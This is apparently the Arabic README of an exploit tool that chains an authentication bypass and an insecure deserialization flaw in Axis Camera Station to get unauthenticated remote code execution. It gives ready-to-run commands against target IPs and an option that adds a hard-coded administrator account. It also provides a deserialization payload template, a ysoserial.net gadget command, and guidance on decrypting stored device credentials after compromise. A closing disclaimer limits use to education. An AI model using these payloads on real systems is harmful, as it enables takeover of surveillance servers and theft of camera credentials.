
RCE غير مُصادَق عليه على Axis Camera Station (ACS) عبر تسلسل CVE‑2025‑30026 (تجاوز المصادقة) + CVE‑2025‑30023 (إلغاء تسلسل غير آمن)
يُسلسل هذا الاستغلال CVE‑2025‑30026 (تجاوز المصادقة) مع CVE‑2025‑30023 (إلغاء تسلسل غير آمن) لتحقيق تنفيذ أوامر عن بُعد دون مصادقة على برنامج Axis Camera Station. فهو يتجاوز آلية تسجيل الدخول ويُرسل حِمولات مُسلسلة خبيثة تُفعّل تنفيذ أوامر عشوائية، مما يمنح المهاجم تحكماً كاملاً في الجهاز المستهدف.
تؤثر كلتا الثغرتين على إصدارات Axis Camera Station Pro السابقة للإصدار 6.9 وإصدارات Axis Camera Station السابقة للإصدار 5.58.
وهو مبني على منشور مدونة Claroty "Turning Camera Surveillance on its Axis"، الذي يصف البروتوكول والثغرات المرتبطة به.
python3 main.py --host <TARGET_IP> --key <CLIENT_PRIVATE_KEY.pem> [OPTIONS]
| العَلَم | الوصف |
|---|---|
--host | عنوان IP/المضيف الهدف (مطلوب). |
--port | منفذ الهدف (الافتراضي 55752). |
--key | مفتاح RSA-2048 الخاص بالعميل بصيغة PEM (مطلوب). |
--json | ملف JSON محلي يحتوي على الطلب المراد إرساله. |
--version | طلب VersionFacade.get_ProductVersion للحصول على معلومات الإصدار. |
--adduser | إنشاء المستخدم ricardo بكلمة المرور ThisIsIt123 وإضافته إلى مجموعة Administrators. |
--wait | عدد الثواني للاستماع على القناة بعد المصافحة (الافتراضي 5). |
--listen | عدد الثواني لانتظار الاستجابة بعد إرسال الطلب (الافتراضي 15). |
ثبّت التبعيات وأنشئ مفتاح RSA خاصًا بصيغة PEM للعميل:
pip install cryptography
openssl genrsa -out client_priv.pem 2048
استعلم عن إصدار المنتج للتحقق من أن الإصدار عرضة للثغرة:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --version

استغلال إزالة التسلسل لإنشاء مستخدم مسؤول ricardo بكلمة المرور ThisIsIt123:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --adduser


أرسل Request مخصصًا من ملف JSON لتنفيذ أي أمر:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --json my_request.json
RequestRequest هو كائن JSON يحتوي على مفتاح "Request" واحد. التنسيق اللازم لاستغلال إزالة التسلسل هو:
{
"Request": {
"Id": "random123456",
"Service": "SessionFacade",
"Method": "LogOnAsync",
"Parameters": {
"uri": "http://192.168.1.197:55752/",
"clientInformationDto": {
"$type": "System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"System.Security.ClaimsIdentity.actor": "AAEAAAD/////AQAAAAAAAAA..."
},
"communicationType": 0,
"ct": "random123456"
}
}
}
يمكن الحصول على قيمة الحقل clientInformationDto باستخدام Ysoserial.net مع gadget مثل WindowsIdentity، والذي يبدو مستقرًا بدرجة كافية لاستغلال هذه الثغرة (بينما تتسبب gadgets الأخرى في تعطل الخدمة):
ysoserial.exe -g WindowsIdentity -f Json.Net -c "ping -n 3 10.0.0.4" -o raw
بمجرد حصولك على وصول إلى جهاز Windows، يصبح لديك وصول إلى قواعد بيانات .FDB التي تحتوي على بيانات الاعتماد اللازمة للاتصال بالأجهزة المختلفة. هذه القواعد مشفّرة باستخدام تطبيق AES ضعيف، ويمكنك فك تشفيرها فورًا باستخدام الرقم التسلسلي لوحدة تخزين المضيف أو كسرها بالقوة الغاشمة في دقائق باستخدام وحدة معالجة رسومات (GPU).
يمكنك استخدام السكربت الموجود في هذا المستودع لاستغلالها: CVE-2026-63286.
يغلّف AXIS Camera Station بروتوكولًا ثنائيًا ذا حالة فوق HTTP. فبدلًا من طلب/استجابة واحد لكل اتصال، يفتح قناتين طويلتي الأمد ويبثّ رسائل مؤطّرة عبرهما حتى يُغلق الاتصال.
| الطبقة | التفصيل |
|---|---|
| النقل | HTTP عبر المنفذ 55752. يفتح GET /_/ قناة RX (الاستقبال)؛ وPOST /_/<channelID> هي قناة TX (الإرسال)، مع كل رسالة في جسم POST. |
| تأطير RX | جسم HTTP من نوع chunked؛ وبداخله، إطارات التحكم هي [uint32 LE length][data]. |
| المصافحة | يتبادل الطرفان مفتاحًا عامًا، ثم مفتاح جلسة AES عشوائيًا ملفوفًا بالمفتاح العام للطرف الآخر. |
| تنسيق المفتاح | يرسل العميل شهادته X.509 (base64). يُرسل مفتاح AES بصيغة base64(wrapped_key):base64(iv). |
| تغليف RSA | PKCS#1 v1.5. |
| القناة | AES-256-CBC مع حشو PKCS#7. تستخدم إطارات الخادم→العميل مفتاح الخادم + IV. |
| التطبيق | JSON من Axis.Remoting. يرسل العميل أولًا ClientId الخاص به كرسالة HELLO، ثم {"Request":{"Id","Service","Method","Parameters"}}. |
RX GET /_/ <- channelID
RX (server pushes) <- server cert (X.509, base64)
RX (server pushes) <- server AES key + IV (wrapped)
TX POST /_/<channelID> -> client cert (X.509, base64)
TX POST /_/<channelID> -> client AES key + IV (wrapped)
TX POST /_/<channelID> -> HELLO (ClientId)
TX POST /_/<channelID> -> encrypted JSON Request
RX (server pushes) <- encrypted JSON Response
تم الاختبار على الإصدارين 5.57.27610 و 5.57.33556 العاملين على Windows 11.
قد تؤدي هجمات إلغاء التسلسل إلى تعطّل الخدمة إذا استُخدمت أدوات (gadgets) غير مستقرة أو معاملات غير مناسبة، لذا اختبر دائمًا في بيئات مُتحكَّم بها.
هذا السكربت مُقدَّم لأغراض تعليمية وللاختبار المُصرَّح به فقط... استخدمه على مسؤوليتك الخاصة!